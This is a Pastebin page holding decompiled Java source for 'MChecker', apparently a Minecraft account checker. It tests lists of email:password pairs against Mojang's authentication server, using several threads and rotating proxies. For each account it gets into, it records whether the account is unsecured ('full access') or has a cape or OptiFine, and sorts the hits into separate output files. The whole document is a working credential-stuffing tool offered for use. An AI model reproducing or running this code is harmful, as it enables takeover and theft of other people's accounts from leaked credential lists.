Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Decompiled with CFR 0_123.
- */
- package xyz.betanyan.mchecker;
- import java.awt.Component;
- import java.awt.Container;
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.File;
- import java.io.FileNotFoundException;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.io.OutputStream;
- import java.io.PrintStream;
- import java.io.PrintWriter;
- import java.io.Reader;
- import java.net.HttpURLConnection;
- import java.net.InetSocketAddress;
- import java.net.ProtocolException;
- import java.net.Proxy;
- import java.net.SocketAddress;
- import java.net.SocketException;
- import java.net.SocketTimeoutException;
- import java.net.URL;
- import java.net.URLConnection;
- import java.nio.file.Files;
- import java.nio.file.Path;
- import java.util.ArrayList;
- import java.util.Base64;
- import java.util.Collection;
- import java.util.List;
- import java.util.concurrent.CopyOnWriteArrayList;
- import java.util.concurrent.ExecutorService;
- import java.util.concurrent.Executors;
- import java.util.concurrent.Future;
- import java.util.concurrent.ThreadLocalRandom;
- import java.util.concurrent.atomic.AtomicInteger;
- import java.util.function.Consumer;
- import javax.swing.JFrame;
- import javax.swing.JScrollPane;
- import javax.swing.JTable;
- import javax.swing.RowSorter;
- import javax.swing.table.DefaultTableModel;
- import javax.swing.table.TableModel;
- import javax.swing.table.TableRowSorter;
- import org.json.JSONArray;
- import org.json.JSONException;
- import org.json.JSONObject;
- public class MChecker {
- private JFrame frame;
- private DefaultTableModel model;
- public static void main(String[] args) {
- File accounts = new File("accounts.txt");
- if (!accounts.exists()) {
- try {
- accounts.createNewFile();
- System.out.println("Accounts.txt was created. Load it with accounts formatted with email:password.");
- return;
- }
- catch (IOException e) {
- System.err.println("Error creating accounts.txt file, must do it manually.");
- return;
- }
- }
- File proxies = new File("proxies.txt");
- if (!proxies.exists()) {
- try {
- proxies.createNewFile();
- }
- catch (IOException e) {
- System.err.println("Error creating proxies.txt file, must do it manually.");
- return;
- }
- }
- ArrayList<Proxy> proxiesList = new ArrayList<Proxy>();
- try {
- for (String line : Files.readAllLines(proxies.toPath())) {
- proxiesList.add(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(line.split(":")[0], Integer.parseInt(line.split(":")[1]))));
- }
- }
- catch (IOException e) {
- proxiesList = new ArrayList();
- }
- FileCreator results = new FileCreator("results.txt");
- results.write("EMAIL:PASSWORD | USERNAME | FULL ACCESS | HAS CAPE | HAS OPTIFINE\n");
- FileCreator resultsFiltered = new FileCreator("results-filtered.txt");
- FileCreator fullAccess = new FileCreator("fullaccess.txt");
- FileCreator nonFullAccess = new FileCreator("nonfullaccess.txt");
- FileCreator capes = new FileCreator("capes.txt");
- FileCreator optifine = new FileCreator("optifine.txt");
- new MChecker(accounts, results, resultsFiltered, proxiesList, fullAccess, nonFullAccess, capes, optifine);
- }
- private void updateFrame(AuthResult newResult, int original, int successful, List<String> accounts) {
- this.frame.setTitle(String.format("MChecker 2.3 by BetaNyan - %d/%d Scanned. %d Successful.", original - accounts.size(), original, successful));
- if (newResult != null) {
- this.model.addRow(new Object[]{newResult.username, newResult.email, newResult.password, newResult.fullAccess, newResult.hasCape, newResult.hasOptifine});
- }
- }
- public MChecker(File accountsFile, FileCreator results, FileCreator resultsFiltered, List<Proxy> proxies, FileCreator fullAccess, FileCreator nonFullAccess, FileCreator capes, FileCreator optifine) {
- CopyOnWriteArrayList accounts = new CopyOnWriteArrayList();
- System.out.println("Loading accounts...");
- try {
- Files.readAllLines(accountsFile.toPath()).forEach(accounts::add);
- }
- catch (IOException e) {
- System.err.println("Error reading accounts.txt");
- return;
- }
- int original = accounts.size();
- AtomicInteger successful = new AtomicInteger(0);
- ArrayList finalResults = new ArrayList();
- this.frame = new JFrame(String.format("MChecker by BetaNyan v2.3 - %d/%d Scanned. %d Successful.", original - accounts.size(), original, successful.get()));
- this.frame.setDefaultCloseOperation(3);
- this.frame.setSize(640, 480);
- Container container = this.frame.getContentPane();
- this.model = new DefaultTableModel(new Object[]{"Username", "Email", "Password", "Full Access", "Has Cape", "Has Optifine"}, 0);
- JTable table = new JTable(this.model);
- table.setVisible(true);
- JScrollPane scrollPane = new JScrollPane(table);
- table.setFillsViewportHeight(true);
- TableRowSorter<TableModel> sorter = new TableRowSorter<TableModel>(table.getModel());
- table.setRowSorter(sorter);
- container.add(scrollPane);
- this.frame.setVisible(true);
- ArrayList subLists = new ArrayList();
- int size = accounts.size();
- if (size >= 10) {
- int nextStart = 0;
- int inc = size / 5;
- for (int i = 0; i < 5; ++i) {
- subLists.add(new CopyOnWriteArrayList(accounts.subList(nextStart, nextStart + inc)));
- nextStart += inc;
- }
- if (size % 5 != 0) {
- int lastNum = size % 10;
- subLists.add(new CopyOnWriteArrayList(accounts.subList(size - lastNum, size)));
- }
- } else {
- subLists.add(accounts);
- }
- System.out.println("Accounts loaded.");
- ExecutorService service = Executors.newFixedThreadPool(6);
- for (List accList : subLists) {
- service.submit(() -> {
- for (String account : accList) {
- accounts.remove(account);
- accList.remove(account);
- String[] split = account.split(":");
- String email = split[0];
- String password = split[1];
- AuthResult result = null;
- try {
- result = this.auth(email, password);
- }
- catch (IOException e) {
- e.printStackTrace();
- }
- if (result.authed) {
- StringBuilder data = new StringBuilder();
- data.append(String.format("%s:%s", email, password)).append(" | ").append(result.username).append(" | ").append(result.fullAccess).append(" | ").append(result.hasCape ? "Has Cape" : "No Cape").append(" | ").append(result.hasOptifine ? "Has Optifine" : "No Optifine");
- if (result.fullAccess) {
- if (!result.hasCape && !result.hasOptifine) {
- fullAccess.write(account);
- }
- } else if (!result.hasCape && !result.hasOptifine) {
- nonFullAccess.write(account);
- }
- if (result.hasCape) {
- capes.write(account);
- }
- if (result.hasOptifine && !result.hasCape) {
- optifine.write(account);
- }
- results.write(data.toString());
- resultsFiltered.write(email + ":" + password);
- System.out.println("Successful auth. " + email + ":" + password);
- accList.remove(account);
- finalResults.add(result);
- this.updateFrame(result, original, successful.incrementAndGet(), accounts);
- try {
- Thread.sleep(100);
- }
- catch (InterruptedException interruptedException) {}
- continue;
- }
- if (proxies.size() > 0) {
- AuthResult resultProxy = null;
- Proxy proxy = this.findWorkingProxy(proxies);
- if (proxy != null) {
- System.out.println("Using proxy - " + proxy);
- try {
- resultProxy = this.auth(email, password, proxy);
- }
- catch (IOException e) {
- e.printStackTrace();
- }
- if (resultProxy.authed) {
- StringBuilder data = new StringBuilder();
- data.append(String.format("%s:%s", email, password)).append(" | ").append(resultProxy.username).append(" | ").append(resultProxy.fullAccess).append(" | ").append(resultProxy.hasCape ? "Has Cape" : "No Cape").append(" | ").append(resultProxy.hasOptifine ? "Has Optifine" : "No Optifine");
- if (resultProxy.fullAccess) {
- if (!resultProxy.hasCape && !resultProxy.hasOptifine) {
- fullAccess.write(account);
- }
- } else if (!resultProxy.hasCape && !resultProxy.hasOptifine) {
- nonFullAccess.write(account);
- }
- if (resultProxy.hasCape) {
- capes.write(account);
- }
- if (resultProxy.hasOptifine && !resultProxy.hasCape) {
- optifine.write(account);
- }
- results.write(data.toString());
- resultsFiltered.write(email + ":" + password);
- System.out.println("Successful auth. " + email + ":" + password);
- accList.remove(account);
- finalResults.add(resultProxy);
- this.updateFrame(result, original, successful.incrementAndGet(), accounts);
- try {
- Thread.sleep(100);
- }
- catch (InterruptedException x) {}
- continue;
- }
- System.out.println("Un-Successful auth. " + email + ":" + password);
- this.updateFrame(null, original, successful.get(), accounts);
- continue;
- }
- System.out.println("No working proxy found.");
- this.updateFrame(null, original, successful.get(), accounts);
- continue;
- }
- System.out.println("Un-Successful auth. " + email + ":" + password);
- this.updateFrame(null, original, successful.get(), accounts);
- }
- }
- );
- }
- service.shutdown();
- }
- private Proxy findWorkingProxy(List<Proxy> proxies) {
- ArrayList<Integer> used = new ArrayList<Integer>();
- while (used.size() < proxies.size()) {
- int index = ThreadLocalRandom.current().nextInt(proxies.size());
- if (used.contains(index)) continue;
- used.add(index);
- Proxy proxy = proxies.get(index);
- try {
- HttpURLConnection connection = (HttpURLConnection)new URL("http://google.com/").openConnection(proxy);
- connection.addRequestProperty("User-Agent", "Mozilla/1.0");
- connection.setReadTimeout(2500);
- connection.setConnectTimeout(2500);
- int code = connection.getResponseCode();
- connection.disconnect();
- if (code > 199 && code < 300) {
- return proxy;
- }
- proxies.remove(proxy);
- }
- catch (ProtocolException | SocketException | SocketTimeoutException e) {
- proxies.remove(proxy);
- }
- catch (IOException e) {
- proxies.remove(proxy);
- }
- }
- return null;
- }
- private AuthResult auth(String email, String password) throws IOException {
- return new AuthResult(email, password, null);
- }
- private AuthResult auth(String email, String password, Proxy proxy) throws IOException {
- return new AuthResult(email, password, proxy);
- }
- /*
- * Enabled aggressive block sorting
- * Enabled unnecessary exception pruning
- * Enabled aggressive exception aggregation
- */
- private String readURL(URL url) {
- try {
- BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));
- Throwable throwable = null;
- try {
- String tmp;
- StringBuilder builder = new StringBuilder();
- while ((tmp = reader.readLine()) != null) {
- builder.append(tmp).append("\n");
- }
- String string = builder.toString();
- return string;
- }
- catch (Throwable builder) {
- throwable = builder;
- throw builder;
- }
- finally {
- if (reader != null) {
- if (throwable != null) {
- try {
- reader.close();
- }
- catch (Throwable throwable2) {
- throwable.addSuppressed(throwable2);
- }
- } else {
- reader.close();
- }
- }
- }
- }
- catch (IOException e) {
- return "";
- }
- }
- private static class FileCreator {
- private PrintWriter writer;
- private File file;
- public FileCreator(String filename) {
- this.file = new File(filename);
- if (!this.file.exists()) {
- try {
- this.file.createNewFile();
- }
- catch (IOException e) {
- e.printStackTrace();
- }
- }
- try {
- this.writer = new PrintWriter(this.file);
- }
- catch (FileNotFoundException e) {
- e.printStackTrace();
- }
- }
- public void write(String str) {
- if (!this.containsString(str)) {
- this.writer.println(str);
- this.writer.flush();
- }
- }
- public boolean containsString(String str) {
- try {
- return Files.readAllLines(this.file.toPath()).contains(str);
- }
- catch (IOException e) {
- return false;
- }
- }
- }
- private class AuthResult {
- private boolean authed;
- private boolean hasCape;
- private boolean hasOptifine;
- private boolean fullAccess;
- private String username;
- private String email;
- private String password;
- public AuthResult(String email, String password, Proxy proxy) throws IOException {
- block34 : {
- this.email = email;
- this.password = password;
- try {
- URL url = new URL("https://authserver.mojang.com/authenticate");
- HttpURLConnection connection = proxy != null ? (HttpURLConnection)url.openConnection(proxy) : (HttpURLConnection)url.openConnection();
- connection.setConnectTimeout(5000);
- connection.setReadTimeout(5000);
- connection.setDoOutput(true);
- connection.setDoInput(true);
- connection.setRequestProperty("User-Agent", "Mozilla/5.0");
- connection.setRequestProperty("Content-Type", "application/json");
- connection.setRequestMethod("POST");
- DataOutputStream stream = new DataOutputStream(connection.getOutputStream());
- stream.writeBytes("{\n \"agent\": { \n \"name\": \"Minecraft\", \n \"version\": 1 \n \n },\n \"username\": \"" + email + "\", \n" + " \n" + " \"password\": \"" + password + "\",\n" + " \"clientToken\": \"client identifier\" \n" + "}");
- stream.flush();
- stream.close();
- if (connection.getResponseCode() == 200) {
- BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
- Throwable throwable = null;
- try {
- String line;
- StringBuilder finalStr = new StringBuilder();
- while ((line = reader.readLine()) != null) {
- finalStr.append(line + "\r\n");
- }
- if (finalStr.toString().contains("Invalid credentials.")) {
- this.authed = false;
- this.hasCape = false;
- this.hasOptifine = false;
- this.fullAccess = false;
- break block34;
- }
- if (finalStr.toString().contains("clientToken")) {
- String uuid;
- this.authed = true;
- JSONObject userData = new JSONObject(finalStr.toString()).getJSONObject("selectedProfile");
- this.username = userData.getString("name");
- uuid = userData.getString("id");
- String accessToken = new JSONObject(finalStr.toString()).getString("accessToken");
- HttpURLConnection infoConnection = (HttpURLConnection)new URL("https://api.mojang.com/user").openConnection();
- infoConnection.setDoOutput(true);
- infoConnection.setDoInput(true);
- infoConnection.setConnectTimeout(3000);
- infoConnection.setReadTimeout(3000);
- infoConnection.setRequestProperty("User-Agent", "Mozilla/5.0");
- infoConnection.setRequestProperty("Authorization", "Bearer " + accessToken);
- if (infoConnection.getResponseCode() == 200) {
- BufferedReader reader1 = new BufferedReader(new InputStreamReader(infoConnection.getInputStream()));
- Throwable throwable2 = null;
- try {
- String line1;
- JSONObject jsonInfo;
- StringBuilder finalStr1 = new StringBuilder();
- while ((line1 = reader1.readLine()) != null) {
- finalStr1.append(line1 + "\r\n");
- }
- this.fullAccess = !finalStr1.toString().equals("") ? (finalStr1.toString().contains("error") ? false : !(jsonInfo = new JSONObject(finalStr1.toString())).getBoolean("secured")) : false;
- }
- catch (Throwable line1) {
- throwable2 = line1;
- throw line1;
- }
- finally {
- if (reader1 != null) {
- if (throwable2 != null) {
- try {
- reader1.close();
- }
- catch (Throwable line1) {
- throwable2.addSuppressed(line1);
- }
- } else {
- reader1.close();
- }
- }
- }
- }
- try {
- String capeDataUrl = MChecker.this.readURL(new URL("https://sessionserver.mojang.com/session/minecraft/profile/" + uuid));
- JSONObject sessionData = new JSONObject(capeDataUrl);
- JSONArray textureData = sessionData.getJSONArray("properties");
- String data = new JSONObject(textureData.get(0).toString()).getString("value");
- this.hasCape = new String(Base64.getDecoder().decode(data)).contains("CAPE");
- }
- catch (JSONException x) {
- this.hasCape = false;
- }
- String result = MChecker.this.readURL(new URL(String.format("http://s.optifine.net/capes/%s.png", this.username)));
- this.hasOptifine = !result.equals("");
- break block34;
- }
- this.authed = false;
- this.hasCape = false;
- this.hasOptifine = false;
- this.fullAccess = false;
- break block34;
- }
- catch (Throwable line) {
- throwable = line;
- throw line;
- }
- finally {
- if (reader != null) {
- if (throwable != null) {
- try {
- reader.close();
- }
- catch (Throwable line) {
- throwable.addSuppressed(line);
- }
- } else {
- reader.close();
- }
- }
- }
- }
- this.authed = false;
- this.hasCape = false;
- this.hasOptifine = false;
- this.fullAccess = false;
- }
- catch (IOException url) {
- // empty catch block
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement